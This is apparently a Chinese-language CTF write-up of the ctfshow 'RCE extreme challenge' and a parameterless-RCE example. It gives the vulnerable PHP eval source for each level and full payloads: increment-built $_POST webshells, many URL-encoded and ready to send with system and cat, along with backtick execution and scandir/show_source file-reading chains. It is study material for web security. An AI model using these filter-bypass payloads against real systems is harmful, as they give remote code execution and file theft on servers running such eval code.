RCE
- 自增RCE
- 参考[CTFshow-RCE极限大挑战官方wp]
- RCE-1[过滤.(]
- RCE-2p[自增-Array]
- RCE-3[自增-NAN-<=105字符]
- RCE-4[自增-NAN-<=84字符]
- RCE-5[自增-gettext扩展]
- 72位字符
- 68位字符
- 无参数RCE
- 参考[RCE篇之无参数rce]
- 介绍
- 例题
- 一些能用上的函数
前两天刚好ctfshow有个RCE极限大挑战,看着还挺好玩的,稍微摸了几个博客总结一下,感受感受大佬们的绕过技巧和思路。
自增RCE
参考[CTFshow-RCE极限大挑战官方wp]
wp指路
CTFshow-RCE极限大挑战官方wp
开始复现
RCE-1[过滤.(]
题目源码
<?php
error_reporting(0);
highlight_file(__FILE__);
$code = $_POST['code'];
$code = str_replace("(","括号",$code);
$code = str_replace(".","点",$code);
eval($code);
?>
过滤了(
和.
,wp有写文件包含,ls看了一眼直接开摆
因为php的反引号可以执行系统命令,就可以直接POST得到flag
code=echo `$_POST[1]`;&1=cat /f*
RCE-2p[自增-Array]
题目源码
<?php
//本题灵感来自研究Y4tacker佬在吃瓜杯投稿的shellme时想到的姿势,太棒啦~。
error_reporting(0);
highlight_file(__FILE__);
if (isset($_POST['ctf_show'])) {
$ctfshow = $_POST['ctf_show'];
if (is_string($ctfshow)) {
if (!preg_match("/[a-zA-Z0-9@#%^&*:{}\-<\?>\"|`~\\\\]/",$ctfshow)){
eval($ctfshow);
}else{
echo("Are you hacking me AGAIN?");
}
}else{
phpinfo();
}
}
?>
禁用了字母数字和很多符号,可以用的符号有’$_;+,可以确定是按照自增的方式来构造webshell进行RCE,payload构造过程:
从这里开始进入正题了,由于异或^
和取反~
都被过滤了,就可以用到数组[]
和递增++
了
先解释,顺便把RCE-345里用到的N解释一下
将数据类型转换成字符串型,就能得到数据类型相对应的字符串
<?php
// highlight_file(__FILE__);
$_ = [];//Array
echo $_.'<br>';
$_ = [].'';//Array
echo $_.'<br>';
$_ = "$_";//Array
echo $_.'<br>';
$_ = $_['!'=='@'];//Array[0]=>A
echo $_.'<br>';
echo '可以通过(0/0)来构造float型的NAN,(1/0)来构造float型的INF,然后转换成字符串型,得到"NAN"和"INF"中的字符了<br>';
@$a=(0/0);//NAN
echo $a.'<br>';
@$b=(1/0);//NAN
echo $b;
?>
exp就直接照抄了,因为0被过滤了,就只能用数组的A来自增了
<?php
$_=[].'';//Array
$_=$_[''=='$'];//A
$____='_';//_
$__=$_;//A
$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;//P
$____.=$__;//_P
$__=$_;//A
$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;//O
$____.=$__;//_PO
$__=$_;//A
$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;//S
$____.=$__;//_POS
$__=$_;//A
$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;//T
$____.=$__;//_POST
$_=$____;//_POST
$$_[__]($$_[_]);//$_POST[__]($_POST[_]);
?>
通过url编码后用Burpsuite工具POST上传即可
HackbarPOST的url编码会被以另一种编码上传到服务器,导致数据失真
ctf_show=%24%5F%3D%5B%5D%2E%27%27%3B%24%5F%3D%24%5F%5B%27%27%3D%3D%27%24%27%5D%3B%24%5F%5F%5F%5F%3D%27%5F%27%3B%24%5F%5F%3D%24%5F%3B%24%5F%5F%2B%2B%3B%24%5F%5F%2B%2B%3B%24%5F%5F%2B%2B%3B%24%5F%5F%2B%2B%3B%24%5F%5F%2B%2B%3B%24%5F%5F%2B%2B%3B%24%5F%5F%2B%2B%3B%24%5F%5F%2B%2B%3B%24%5F%5F%2B%2B%3B%24%5F%5F%2B%2B%3B%24%5F%5F%2B%2B%3B%24%5F%5F%2B%2B%3B%24%5F%5F%2B%2B%3B%24%5F%5F%2B%2B%3B%24%5F%5F%2B%2B%3B%24%5F%5F%5F%5F%2E%3D%24%5F%5F%3B%24%5F%5F%3D%24%5F%3B%24%5F%5F%2B%2B%3B%24%5F%5F%2B%2B%3B%24%5F%5F%2B%2B%3B%24%5F%5F%2B%2B%3B%24%5F%5F%2B%2B%3B%24%5F%5F%2B%2B%3B%24%5F%5F%2B%2B%3B%24%5F%5F%2B%2B%3B%24%5F%5F%2B%2B%3B%24%5F%5F%2B%2B%3B%24%5F%5F%2B%2B%3B%24%5F%5F%2B%2B%3B%24%5F%5F%2B%2B%3B%24%5F%5F%2B%2B%3B%24%5F%5F%5F%5F%2E%3D%24%5F%5F%3B%24%5F%5F%3D%24%5F%3B%24%5F%5F%2B%2B%3B%24%5F%5F%2B%2B%3B%24%5F%5F%2B%2B%3B%24%5F%5F%2B%2B%3B%24%5F%5F%2B%2B%3B%24%5F%5F%2B%2B%3B%24%5F%5F%2B%2B%3B%24%5F%5F%2B%2B%3B%24%5F%5F%2B%2B%3B%24%5F%5F%2B%2B%3B%24%5F%5F%2B%2B%3B%24%5F%5F%2B%2B%3B%24%5F%5F%2B%2B%3B%24%5F%5F%2B%2B%3B%24%5F%5F%2B%2B%3B%24%5F%5F%2B%2B%3B%24%5F%5F%2B%2B%3B%24%5F%5F%2B%2B%3B%24%5F%5F%5F%5F%2E%3D%24%5F%5F%3B%24%5F%5F%3D%24%5F%3B%24%5F%5F%2B%2B%3B%24%5F%5F%2B%2B%3B%24%5F%5F%2B%2B%3B%24%5F%5F%2B%2B%3B%24%5F%5F%2B%2B%3B%24%5F%5F%2B%2B%3B%24%5F%5F%2B%2B%3B%24%5F%5F%2B%2B%3B%24%5F%5F%2B%2B%3B%24%5F%5F%2B%2B%3B%24%5F%5F%2B%2B%3B%24%5F%5F%2B%2B%3B%24%5F%5F%2B%2B%3B%24%5F%5F%2B%2B%3B%24%5F%5F%2B%2B%3B%24%5F%5F%2B%2B%3B%24%5F%5F%2B%2B%3B%24%5F%5F%2B%2B%3B%24%5F%5F%2B%2B%3B%24%5F%5F%5F%5F%2E%3D%24%5F%5F%3B%24%5F%3D%24%5F%5F%5F%5F%3B%24%24%5F%5B%5F%5F%5D%28%24%24%5F%5B%5F%5D%29%3B&__=system&_=cat /f1agaaa
RCE-3[自增-NAN-<=105字符]
题目源码
<?php
//本题灵感来自研究Y4tacker佬在吃瓜杯投稿的shellme时想到的姿势,太棒啦~。
error_reporting(0);
highlight_file(__FILE__);
if (isset($_POST['ctf_show'])) {
$ctfshow = $_POST['ctf_show'];
if (is_string($ctfshow) && strlen($ctfshow) <= 105) {
if (!preg_match("/[a-zA-Z2-9!'@#%^&*:{}\-<\?>\"|`~\\\\]/",$ctfshow)){
eval($ctfshow);
}else{
echo("Are you hacking me AGAIN?");
}
}else{
phpinfo();
}
}
?>
可以看到01被放出来了,然后限制了长度为105字符
用RCE-2提到的(0/0)
得到N
,然后自增构造出$_POST一句话木马,过程wp里的注释已经清楚明了了
<?php
$a=(0/0);//NAN
$a.=_;//NAN_
$a=$a[0];//N
$a++;//O
$o=$a++;//$o=$a++是先把$a的值给$o,然后再对$a进行自增,所以这一句结束的时候 $a是P,$o是O
$p=$a++;//$a=>Q,$p=>P
$a++;$a++;//R
$s=$a++;//S
$t=$a;//T
$_=_;//_
$_.=$p.$o.$s.$t;//_POST
$$_[0]($$_[1]);//$_POST[0]($_POST[1]);
然后常规变量名替换成不可见字符变量名,得到payload:
ctf_show=$%ff=(0/0);$%ff.=_;$%ff=$%ff[0];$%ff%2b%2b;$%fd=$%ff%2b%2b;$%fe=$%ff%2b%2b;$%ff%2b%2b;$%ff%2b%2b;$%fc=$%ff%2b%2b;$%fb=$%ff;$_=_;$_.=$%fe.$%fd.$%fc.$%fb;$$_[0]($$_[1]);&0=system&1=cat /f1agaaa
RCE-4[自增-NAN-<=84字符]
题目源码
<?php
//本题灵感来自研究Y4tacker佬在吃瓜杯投稿的shellme时想到的姿势,太棒啦~。
error_reporting(0);
highlight_file(__FILE__);
if (isset($_POST['ctf_show'])) {
$ctfshow = $_POST['ctf_show'];
if (is_string($ctfshow) && strlen($ctfshow) <= 84) {
if (!preg_match("/[a-zA-Z1-9!'@#%^&*:{}\-<\?>\"|`~\\\\]/",$ctfshow)){
eval($ctfshow);
}else{
echo("Are you hacking me AGAIN?");
}
}else{
phpinfo();
}
}
?>
开始上难度了,84字符,只可以用数字0,那么不影响我们使用(0/0)来构造NAN, 但是更为优秀的写法可以是$a=(_/_._)[0]
直接得到字母N,同时$a=(0/0._)
会出现语法报错。
先演示
<?php
error_reporting(0);
$a = (_/_);
echo $a.'<br>';
$a = (_/_._);
echo $a.'<br>';
$a = (_/_._)[0];
echo $a;
?>
payload构造过程:
<?php
$a=(_/_._)[0];//直接拼接成字符串并切片
$o=++$a;//$o=++$a是先把$a进行自增,自增完成之后再将值返回,也就是这一句结束的时候 $a和$o都是O
$o=++$a.$o;//$o=>PO,$a=>P
$a++;//Q
$a++;//R
$o.=++$a;//$o=>POS,$a=>S
$o.=++$a;//$o=>POST,$a=>T
$_=_.$o;//_POST
$$_[0]($$_[_]);//$_POST[0]($_POST[_]);
同上
ctf_show=$%ff=(_/_._)[0];$%fe=%2b%2b$%ff;$%fe=%2b%2b$%ff.$%fe;$%ff%2b%2b;$%ff%2b%2b;$%fe.=%2b%2b$%ff;$%fe.=%2b%2b$%ff;$_=_.$%fe;$$_[0]($$_[_]);&0=system&_=cat /f1agaaa
RCE-5[自增-gettext扩展]
题目源码
<?php
//本题灵感来自研究Y4tacker佬在吃瓜杯投稿的shellme时想到的姿势,太棒啦~。
error_reporting(0);
highlight_file(__FILE__);
if (isset($_POST['ctf_show'])) {
$ctfshow = $_POST['ctf_show'];
if (is_string($ctfshow) && strlen($ctfshow) <= 73) {
if (!preg_match("/[a-zA-Z0-9!'@#%^&*:{}\-<\?>\"|`~\\\\]/",$ctfshow)){
eval($ctfshow);
}else{
echo("Are you hacking me AGAIN?");
}
}else{
phpinfo();
}
}
?>
可以划重点记一下gettext的这个特性
限制73个字符,而且0也不可以用了,但是这里观察到phpinfo安装了一个扩展gettext,该扩展支持函数_()
,相当于gettext()
,直接转化为字符串。另外,其实数组下标使用未定义常量,php会warning,但是可以继续运行,并返回下标为0的字符(现象是这样但是实际机制需要看php源码)。其余知识点上面都已经讲过了,剩下的就是靠经验和积累对payload进行精简,下面是payload构造过程:
<?php
$a=_(a/a)[a];//相当于gettext(0/0)[0],得到N
$_=++$a;//O
$_=_.++$a.$_;//_PO
$a++;$a++;//R
$_.=++$a.++$a;//_POST
$$_[a]($$_[_]);//$_POST[a]($_POST[_])
更改变量名
ctf_show=$%ff=_(%ff/%ff)[%ff];$_=%2b%2b$%ff;$_=_.%2b%2b$%ff.$_;$%ff%2b%2b;$%ff%2b%2b;$_.=%2b%2b$%ff.%2b%2b$%ff;$$_[_]($$_[%ff]);&_=system&%ff=cat /f1agaaa
72位字符
$$yysd
另外说一下,被师傅们拿到了72位字符的方法,感谢@狸师傅、@yun0tian等师傅们的创意,下面是payload构造过程:
<?php
$a=_(a/a)[a];//N
++$a;//O
$_=$a.$a++;//PO
$a++;$a++;//R
$_=_.$_.++$a.++$a;//_POST
$$_[a]($$_[_]);//$_POST[a]($_POST[_])
PAYLOAD
ctf_show=$%ff=_(%ff/%ff)[%ff];%2b%2b$%ff;$_=$%ff.$%ff%2b%2b;$%ff%2b%2b;$%ff%2b%2b;$_=_.$_.%2b%2b$%ff.%2b%2b$%ff;$$_[%ff]($$_[_]);&%ff=system&_=cat /f1agaaa
关于为什么$_=$a.$a++;//PO
,这还真说不出来,只能说,不管是$a++还是++$a,都是先第一位++,然后再照常执行++,先记着吧,后面万一想看php内核了就去研究一下
<?php
$d=1;
$c=$d.$d++.$d++.$d++.$d++.$d++.$d++.$d++.$d++;
echo $c."<br>";
$d=1;
$c=$d.++$d.++$d.++$d.++$d.++$d.++$d.++$d.++$d;
echo $c;
?>
68位字符
这个是真神,解释了我也看不懂
师傅们实在是太强了,目前在有gettext环境下,最短的payload长度是68!payload构造过程:
$_=_(a/a)[_];//N
$a=++$_;//O
$$a[$a=_.++$_.$a[$_++/$_++].++$_.++$_]($$a[_]);//巧妙的把两次$_++放在一起
上面第三行其实可以分开来看,php在执行的时候会先对方括号里面的内容进行解析
$a=_.++$_.$a[$_++/$_++].++$_.++$_//$a直接拼接出_POST
$$a[_POST]($$a[_])//$_POST[_POST]($_POST[_])
因为$a还没赋值,此时仍为O,所以$a[$_++/$_++]
因为下标为NAN不存在就取第一位了
真的是奇思妙想,尤其是$a[$_++/$_++]
这个操作,把两个$_++;结合在一起,虽然比分开来写多用了一个字符,但是可以把拼接_POST的操作合并在同一行里,反而节省了更多字符。实在是太强了,感谢@lazy_forever、@Article_kelp师傅的创意。
PAYLOAD2
ctf_show=$_=_(%ff/%ff)[_];$%ff=%2b%2b$_;$$%ff[$%ff=_.%2b%2b$_.$%ff[$_%2b%2b/$_%2b%2b].%2b%2b$_.%2b%2b$_]($$%ff[_]);&_POST=system&_=cat /f1agaaa
g4_simon:感谢师傅们的积极参与,我也在出题过程中学到了很多,师傅们在几小时内就把我研究了四天四夜的题给杀穿了,甚至比我想象的还要极限。本身CTF就是一个不断超越自己、超越极限的过程,希望这几个题能给师傅们带来一些启发。
启发,好大的启发。
无参数RCE
参考[RCE篇之无参数rce]
参考
RCE篇之无参数rce
PHP无参数RCE
无参数rce
浅谈无参数RCE
无参数RCE总结及文件读取学习
介绍
无参数rce,就是说在无法传入参数的情况下,仅仅依靠传入没有参数的函数套娃就可以达到命令执行的效果。
核心代码
if(';' === preg_replace('/[^\W]+\((?R)?\)/', '', $_GET['code'])) {
eval($_GET['code']);
}
这段代码的核心就是只允许函数而不允许函数中的参数.通过正则匹配将不带函数的函数替换为空,若最终结果为;
则执行eval($_GET[‘code’]);
此时只能用 a(b(c()));来RCE而不是a(b(c));
例题
先来个buuctf的例题 GXY_CTF “禁止套娃”
.git源码泄露得到index.php
<?php
include "flag.php";
echo "flag在哪里呢?<br>";
if(isset($_GET['exp'])){
if (!preg_match('/data:\/\/|filter:\/\/|php:\/\/|phar:\/\//i', $_GET['exp'])) {
if(';' === preg_replace('/[a-z,_]+\((?R)?\)/', NULL, $_GET['exp'])) {
if (!preg_match('/et|na|info|dec|bin|hex|oct|pi|log/i', $_GET['exp'])) {
// echo $_GET['exp'];
@eval($_GET['exp']);
}
else{
die("还差一点哦!");
}
}
else{
die("再好好想想!");
}
}
else{
die("还想读flag,臭弟弟!");
}
}
// highlight_file(__FILE__);
?>
三个正则,第一个禁用了一些伪协议,第二个就是无参数RCE,第三个过滤一些关键词。
最总Payload为:
?exp=print_r(scandir(pos(localeconv())));
?exp=show_source(next(array_reverse(scandir(pos(localeconv())))));
第一条从里向外解释一下
localeconv()
php直接var_dump()可以得到
array(18) { ["decimal_point"]=> string(1) "." ["thousands_sep"]=> string(0) "" ["int_curr_symbol"]=> string(0) "" ["currency_symbol"]=> string(0) "" ["mon_decimal_point"]=> string(0) "" ["mon_thousands_sep"]=> string(0) "" ["positive_sign"]=> string(0) "" ["negative_sign"]=> string(0) "" ["int_frac_digits"]=> int(127) ["frac_digits"]=> int(127) ["p_cs_precedes"]=> int(127) ["p_sep_by_space"]=> int(127) ["n_cs_precedes"]=> int(127) ["n_sep_by_space"]=> int(127) ["p_sign_posn"]=> int(127) ["n_sign_posn"]=> int(127) ["grouping"]=> array(0) { } ["mon_grouping"]=> array(0) { } }
pos()
pos()是PHP中的内置函数,用于返回内部指针当前指向的数组中元素的值。pos()是current()的别名
与其同时使用的还有
next()指针后移并输出内容
prev()指针前移并输出内容
scandir()就是目录遍历。
连起来就是scandir(pos(localeconv()));
等价于scandir('.');
print_r输出当前内容,达到一个目录遍历的效果。
第二条
?exp=show_source(next(array_reverse(scandir(pos(localeconv())))));
array_reverse()翻转数组
然后next()获取到’flag.php’字符串,由于next()后的结果为字符串,所以不能next(next(Array)),局限性还是蛮大的
最后show_source()函数高亮文本内容得到flag
show_source() 函数对文件进行语法高亮显示。
本函数是 highlight_file() 的别名。
一些能用上的函数
getenv()获取当前环境变量
get_defined_vars()返回由所有已定义变量所组成的数组
获取的四个全局变量$_GET、$_POST、$_FILES、$_COOKIE,返回一个二维数组
array_flip()交换数组中的键和值
array_rand()从数组中随机取出一个或多个单元
array_reverse()返回单元顺序相反的数组
array_flip()交换数组中的键和值
current()、pos()返回数组中的当前单元
getallheaders()这个函数的作用是获取http所有的头部信息
session_id()读取session,主要用法为session_id(session_start())
file_get_contents()将整个文件读入一个字符串
readfile()读取文件并写入到输出缓冲。
highlight_file()或show_source() — 语法高亮一个文件
getcwd()取得当前工作目录
scandir()列出指定路径中的文件和目录
chdir()改变目录
dirname()返回路径中的目录部分
rand()产生一个随机整数
chr()返回指定的字符
time()返回当前的 Unix 时间戳
localtime()取得本地时间localtime(time()) 返回一个数组,Array [0] 为一个 0~60 之间的数字hex2bin()转换十六进制字符串为二进制字符串
ceil()进一法取整
sinh()双曲正弦
cosh()双曲余弦
tan()正切
floor():舍去法取整
sqrt()平方根
crypt()单向字符串散列hebrevc:将逻辑顺序希伯来文(logical-Hebrew)转换为视觉顺序希伯来文(visual-Hebrew),并且转换换行符
hebrevc(crypt(arg)) [crypt(serialize(array()))]:可以随机生成一个 hash 值 第一个字符随机是 $(大概率) 或者 .(小概率) 然后通过 ord chr 只取第一个字符
ord()返回字符串的第一个字符的 ASCII 码值。
获得当前目录文件
var_dump(scandir(getcwd()));
var_dump(scandir(current(localeconv()));
var_dump(scandir(chr(ceil(sinh(cosh(tan(floor(sqrt(floor(phpversion())))))))))); //利用三角函数和floor ceil,这个是php7下能够成功
获得上级目录文件
var_dump(scandir(dirname(getcwd())));
var_dump(scandir(chr(pos(localtime(time(chdir(next(scandir(pos(localeconv()))))))))));//这种方法理论上来说,每隔47秒才能成功执行一次
var_dump(scandir(chr(ceil(sqrt(cosh(tan(tan(tan(cosh(sinh(exp(chdir(next(scandir(pos(localeconv()))))))))))))))));